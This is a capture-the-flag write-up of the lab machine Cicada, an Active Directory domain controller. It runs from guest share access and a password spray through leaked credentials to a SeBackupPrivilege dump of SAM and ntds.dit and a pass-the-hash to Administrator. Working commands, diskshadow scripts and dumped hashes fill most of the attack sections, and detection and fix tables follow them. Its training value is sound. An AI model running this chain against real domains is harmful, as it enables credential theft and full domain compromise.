Default password spray to SeBackupPrivilege
Cicada is an easy Windows domain controller that hides nothing — it
hands you its credentials one at a time, in the three places real
environments keep losing them: a welcome letter on an open share, an
account description in LDAP, and a hardcoded password in a backup
script. Four secrets, three of them written down by employees, and one
spray across the user list to connect them. The privilege escalation is a
single right — SeBackupPrivilege — that most people meet as a checkbox in a group membership and then ignore.
Mission Brief
Difficulty Easy OS Windows Server 2022 (Build 20348), domain controller CICADA-DCReleased / retired 2024-09-28 / 2025-02-15 Attack surface 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985/tcp Techniques Unauthenticated AD/SMB enumeration, RID cycling, password spray, credential in LDAP description, hardcoded script credentials, Backup Operators →SeBackupPrivilege, registry/VSS dump, Pass-the-HashTools nmap, netexec, smbclient, evil-winrm, impacket-secretsdump, diskshadow, robocopy Creator theblxckcicada
Route of the whole box:
1. Recon → 13 ports, domain cicada.htb, host CICADA-DC
2. Guest SMB → HR share → "Notice from HR.txt" = default password
3. RID brute → user list → spray that password → michael.wrightson
4. LDAP --users → david.orelious's password in his description
5. DEV share → script → emily.oscars credentials, WinRM shell, user.txt
6. Backup Operators → SeBackupPrivilege → SAM/SYSTEM or ntds.dit dump
7. Pass-the-Hash → Administrator, root.txt
Contents
- Recon — thirteen ports that spell "domain controller"
- Credentials — four secrets, three of them written down
- Foothold — WinRM as emily.oscars
- Privilege escalation — SeBackupPrivilege
- Detection & defense — what the blue team gets to see
- Operator's Log
- Attack chain recap
- Conclusion
Recon — thirteen ports that spell "domain controller"
Purpose: identify the host and its domain before touching authentication. A full TCP sweep first:
kali$ nmap -p- --min-rate 10000 10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 14:56 EDT
Nmap scan report for 10.10.11.35
Host is up (0.086s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
54296/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
Service detection on those ports:
kali$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,54296 -sCV 10.10.11.35
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-27 01:58:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
[... remaining service lines omitted — same LDAP banner on 636/3268/3269 ...]
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m08s
Field note — reading a DC port scan.
53/88/389/464/636/3268/3269is the standard AD service set (DNS, Kerberos, LDAP, kpasswd, global catalog), and the LDAP banner prints the domain name for you —Domain: cicada.htb0..CICADA-DCinService Infois the hostname, and 5985 is WinRM over HTTP: if a domain account ever lands inRemote Management Users, that port becomes the shell. SMB signing being required rules out relay attacks against 445.
Two names to trust — the domain and the hostname — go into /etc/hosts:
10.10.11.35 CICADA-DC cicada.htb CICADA-DC.cicada.htb
Now enumerate shares. A bare null session gets dropped, but the disabled guest account still works as a login:
kali$ netexec smb CICADA-DC --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] IndexError: list index out of range
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
kali$ netexec smb CICADA-DC -u guest -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL Logon server share
A domain controller shares NETLOGON/SYSVOL by design; HR with explicit READ and an empty-permission DEV are the author's fingerprints. Open the one share a guest can definitely read:
kali$ smbclient -N //10.10.11.35/HR
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 08:29:09 2024
.. D 0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024
4168447 blocks of size 4096. 942184 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (3.6 KiloBytes/sec) (average 3.6 KiloBytes/sec)
The file, in full (trimmed where it only repeats password-change instructions):
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
[... steps 2-5: navigate to profile settings, click "Change Password", save ...]
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
Best regards,
Cicada Corp
Field note — the box is telling you its own theme. HR mailed every new hire the same default password and left the letter on a share guests can read. The instructions even ask employees to change it — the next phase tests whether they did.
Credentials — four secrets, three of them written down
Purpose: turn the default password into a domain account. First I need the user list, and guest sessions can walk the SID space with RID cycling:
kali$ netexec smb CICADA-DC -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | tee users
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
(Excerpt — the full output also prints group SIDs between 512 and 1109, including a Dev Support group at 1109.)
Field note — why RID cycling works without credentials. SAMR lets a session resolve relative IDs against the domain SID: start at 500, keep incrementing, and every user and group comes back with its type. On a DC with guest enabled this is free reconnaissance — no LDAP bind, no Kerberos, no password.
Spray the HR password across that list:
kali$ netexec smb CICADA-DC -u users -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
Exactly one hit: michael.wrightson. One account did not follow the policy in the HR letter. Now use those credentials properly — enumerate the domain over LDAP:
kali$ netexec ldap CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
LDAP 10.10.11.35 389 CICADA-DC [*] Enumerated 8 domain users: cicada.htb
LDAP 10.10.11.35 389 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.35 389 CICADA-DC Administrator 2024-08-26 20:08:03 1 Built-in account for administering the computer/domain
LDAP 10.10.11.35 389 CICADA-DC Guest 2024-08-28 17:26:56 1 Built-in account for guest access to the computer/domain
LDAP 10.10.11.35 389 CICADA-DC krbtgt 2024-03-14 11:14:10 1 Key Distribution Center Service Account
LDAP 10.10.11.35 389 CICADA-DC john.smoulder 2024-03-14 12:17:29 1
LDAP 10.10.11.35 389 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 1
LDAP 10.10.11.35 389 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
LDAP 10.10.11.35 389 CICADA-DC david.orelious 2024-03-14 12:17:29 1 Just in case I forget my password is aRt$Lp#7t*VQ!3
LDAP 10.10.11.35 389 CICADA-DC emily.oscars 2024-08-22 21:20:17 1
Field note — the
descriptionattribute is a password store. "Just in case I forget" is a real pattern in AD: admins put credentials in user descriptions, comments, info fields. NetExec prints descriptions in its--userstable by default, which is why the leak needs no extra tool; the same attribute with plainldapsearch:ldapsearch -x -H ldap://10.10.11.35 -D 'michael.wrightson@cicada.htb' -w '<pass>' -b 'DC=cicada,DC=htb' '(objectClass=user)' description.
Verify david.orelious:
kali$ netexec smb CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3'
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
kali$ netexec winrm CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3'
WINRM 10.10.11.35 5985 CICADA-DC [-] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
Valid domain credentials, but no WinRM — david is not in the remote management group. Shares first:
kali$ netexec smb CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
DEV turned from an empty-permission listing into READ. Inside it, one file:
kali$ smbclient -U david.orelious //CICADA-DC/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'
smb: \> ls
. D 0 Thu Mar 14 08:31:39 2024
.. D 0 Thu Mar 14 08:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 13:28:22 2024
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
Fourth credential, hardcoded in plaintext in a script on a share. The credential chain so far: HR letter → spray → LDAP description → backup script. Each step only needed read access.
Foothold — WinRM as emily.oscars
Purpose: get an interactive shell as the account that the last script points at. Emily is the one account with remote management rights:
kali$ netexec smb CICADA-DC -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
kali$ netexec winrm CICADA-DC -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
WINRM 10.10.11.35 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
kali$ evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> type user.txt
ea4481e2************************
Privilege escalation — SeBackupPrivilege
Purpose: prove why a "backup" group equals domain compromise. Enumerate the account first:
*Evil-WinRM* PS C:\> net user emily.oscars
User name emily.oscars
Full Name Emily Oscars
[... account metadata omitted ...]
Local Group Memberships *Backup Operators *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Field note — what
SeBackupPrivilegeactually buys. Windows file permissions are checked by the filesystem; this privilege tells the kernel to skip ACL checks in backup mode — read any file, anywhere, includingC:\Windows\NTDS\ntds.dit,HKLM\SAM, and files locked open by other processes. It is granted toBackup Operatorsby default, which is why membership in that group has to be treated as near-admin. Thereg savecommand and backup-mode file copies both run under this privilege.
Route A — registry hives and the local Administrator hash
*Evil-WinRM* PS C:\programdata> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\programdata> reg save hklm\system system
The operation completed successfully.
*Evil-WinRM* PS C:\programdata> download sam
Info: Downloading C:\programdata\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\programdata> download system
Info: Downloading C:\programdata\system to system
Info: Download successful!
kali$ secretsdump.py -sam sam -system system LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
An alternative to the two reg save calls, using impacket's remote registry backup, which also grabs SECURITY in one shot:
kali$ reg.py 'cicada.htb/emily.oscars:Q!3@Lp#M6b*7t*Vt'@10.10.11.35 backup -o 'C:\windows\temp\'
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to C:\windows\temp\\SAM.save
[*] Saved HKLM\SYSTEM to C:\windows\temp\\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\windows\temp\\SECURITY.save
Route B — a shadow copy of NTDS, the way an attacker normally does it
ntds.dit is held open by the Directory Service, so it cannot be copied directly. diskshadow asks Windows to make a VSS shadow copy and expose it as a drive letter — the same mechanism backups use, which is exactly what the privilege is for:
set verbose on
set metadata C:\Windows\Temp\0xdf.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
(Locally saved, converted to CRLF with unix2dos, then uploaded.)
*Evil-WinRM* PS C:\programdata> diskshadow /s backup
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: CICADA-DC, 9/27/2024 1:07:11 AM
-> set verbose on
-> set metadata C:\Windows\Temp\0xdf.cab
-> set context clientaccessible
-> begin backup
-> add volume C: alias cdrive
-> create
[... "Including writer ..." lines omitted ...]
* Including writer "NTDS":
+ Adding component: \C:_Windows_NTDS\ntds
[... omitted ...]
Alias cdrive for shadow ID {10b9bb82-275d-4a14-b0fe-727209b03567} set as environment variable.
[... omitted ...]
-> expose %cdrive% E:
-> %cdrive% = {10b9bb82-275d-4a14-b0fe-727209b03567}
The shadow copy was successfully exposed as E:\.
-> end backup
The shadow copy is a normal directory tree now — copy the database out with robocopy /b, which runs in backup mode and therefore reads through SeBackupPrivilege:
*Evil-WinRM* PS C:\programdata> robocopy /b E:\Windows\ntds . ntds.dit
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
kali$ secretsdump.py -ntds ntds.dit -system system LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f954f575c626d6afe06c2b80cc2185e6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CICADA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:188c2f3cb7592e18d1eae37991dee696:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3779000802a4bb402736bee52963f8ef:::
[... john.smoulder, sarah.dantelia, michael.wrightson, david.orelious, emily.oscars omitted ...]
[*] Kerberos keys from ntds.dit
[... Kerberos key lines omitted ...]
[*] Cleaning up...
The Administrator:500 line is byte-identical to the SAM
dump in route A — same account, two extraction paths. A third variant
exists for completeness: the SeBackupPrivilege PowerShell module adds Copy-FileSeBackupPrivilege, which copies ntds.dit straight out of the shadow copy without robocopy.
Pass-the-Hash to SYSTEM
kali$ netexec smb CICADA-DC -u administrator -H aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!)
kali$ evil-winrm -i cicada.htb -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
b77facd8************************
Field note — after you already have the hash. The domain hash dump is not just the Administrator line: every domain account came out of
ntds.dit, so lateral movement to any of them is oneevil-winrm -Haway. And if you skipped the shadow-copy dance entirely, once you have an admin session NetExec can do the dump for you in one line:netexec smb 10.10.11.35 -u administrator -H <hash> -M ntdsutil.
Detection & defense — what the blue team gets to see
| Stage | Signal |
|---|---|
| Scan | SYN sweep over 65k ports with --min-rate 10000 — trivially an IDS scan signature, but on a DC it is also just "another enumeration" in most logs |
| Guest share enum | Event 4624 LogonType 3 with an anonymous/guest session, followed by a burst of share listing (445); STATUS_USER_SESSION_DELETED retries in SMB logs |
| RID cycling | One SAMR session resolving hundreds of RIDs in seconds — lateral-object enumeration alerting (5136/4662 bursts) |
| Password spray | A wall of 4625 STATUS_LOGON_FAILURE events across many accounts within seconds, then one 4624 success — the classic spray pattern; BadPW counters move per account |
| LDAP description leak | Authenticated LDAP queries returning description for all users (Directory Service Access auditing, 5136, if enabled — usually it is not) |
| Share file reads | Notice from HR.txt and Backup_script.ps1 read over SMB; file-server audit policy would show the first read by a guest |
| WinRM shell | 4624 LogonType 3 over 5985 with LogonProcessName: NtLmSsp, followed by PowerShell/WinRM operational log entries (4103/4104 with script-block logging) |
| Registry/NTDS dump | reg.exe save, diskshadow.exe, and robocopy /b spawned by a WinRM session (4688 with command-line auditing); VSS shadow-copy creation events (8224/8226) |
| Pass-the-Hash | 4624 with NTLM authentication and no preceding Kerberos AS-REQ for that account; the same NTLM logon from two hosts in quick succession |
And the fixes, in the order they would have stopped this box:
| Weakness | Fix |
|---|---|
| Guest/null share enumeration | RestrictAnonymousSAM / disable the guest account; deny share listing to unauthenticated sessions |
| Default password on a share | Never store credentials in files; force rotation before the credential exists, and do not leave policy documents on world-readable shares |
Password in description |
Audit and clear credential-like strings in description/info/comment attributes — they replicate domain-wide over LDAP |
| Hardcoded script credentials | Managed service accounts or Windows LAPS; scripts read secrets from a restricted store, not plaintext |
| Spray exposure | Fine-grained password policies / smart lockout; alert on 4625 bursts per source |
| Backup Operators abuse | Treat the group as Domain Admin-adjacent; monitor SeBackupPrivilege usage, reg save, diskshadow, and robocopy /b on DCs |
| Pass-the-Hash | Credential Guard / disable NTLM where possible, plus tiering so a dumped domain hash is not instantly a domain compromise |
Operator's Log
- A bare
netexec smb CICADA-DC --sharesfailed withSTATUS_USER_SESSION_DELETED— a true null session is dropped on this DC. Retrying with-u guest -p ''produced the share table; worth remembering before concluding "share enumeration is blocked". smbclientate the filename:get Notice from HR.txtreturnedNT_STATUS_OBJECT_NAME_NOT_FOUNDuntil the name was quoted. Filenames with spaces are a one-second fix and a one-minute mystery otherwise.- I ran a BloodHound collection as
michael.wrightsonearly, looking for an ACL path. It found nothing useful — and that is the correct lesson: this box has no graph edges to abuse, only files. Choosing the right enum tool for the kind of secret you expect matters more than collection depth.
Attack chain recap
| # | Step | Technique | Tool / evidence |
|---|---|---|---|
| 1 | Fingerprint | 13 open ports, LDAP banner cicada.htb, host CICADA-DC |
nmap -p-, -sCV |
| 2 | Share enum | Guest login → HR share readable |
netexec --shares, smbclient |
| 3 | Default password | Notice from HR.txt on the open share |
smbclient get |
| 4 | User list | RID cycling with guest session | netexec --rid-brute → users |
| 5 | Spray | One password across all users → michael.wrightson |
netexec --continue-on-success |
| 6 | LDAP leak | david.orelious password in description |
netexec ldap --users |
| 7 | Script creds | Backup_script.ps1 → emily.oscars |
smbclient, DEV share |
| 8 | Foothold | WinRM shell, user.txt |
evil-winrm |
| 9 | Priv-esc right | Backup Operators → SeBackupPrivilege enabled |
net user, whoami /priv |
| 10 | Hash dump | reg save SAM/SYSTEM or diskshadow + robocopy /b NTDS |
secretsdump.py |
| 11 | SYSTEM | Pass-the-Hash → Administrator, root.txt |
netexec -H, evil-winrm -H |
Conclusion
Cicada's entire chain is an inventory of credentials in the wrong
place: a welcome letter on a guest-readable share, a password in an LDAP
description, a plaintext secret in a scheduled script. None of them is
an exploit — every step to the first shell is reading, and the
domain falls over because four people wrote four secrets down. The
privilege escalation is the same lesson one level down: Backup Operators exists to read files that permissions would otherwise block, and on a domain controller those files are ntds.dit and SAM.
The defensive reading is correspondingly boring, which is the point: monitor who enumerates shares and SIDs, treat Backup Operators and any enabled SeBackupPrivilege
as admin-equivalent, and hunt for credential-shaped strings where they
do not belong — share documents, user descriptions, scripts. None of it
needs a novel detection; it needs someone looking at the logs that
already exist.
The defensive reading is correspondingly boring, which is the point: monitor who enumerates shares and SIDs, treat Backup Operators and any enabled SeBackupPrivilege
as admin-equivalent, and hunt for credential-shaped strings where they
do not belong — share documents, user descriptions, scripts. None of it
needs a novel detection; it needs someone looking at the logs that
already exist.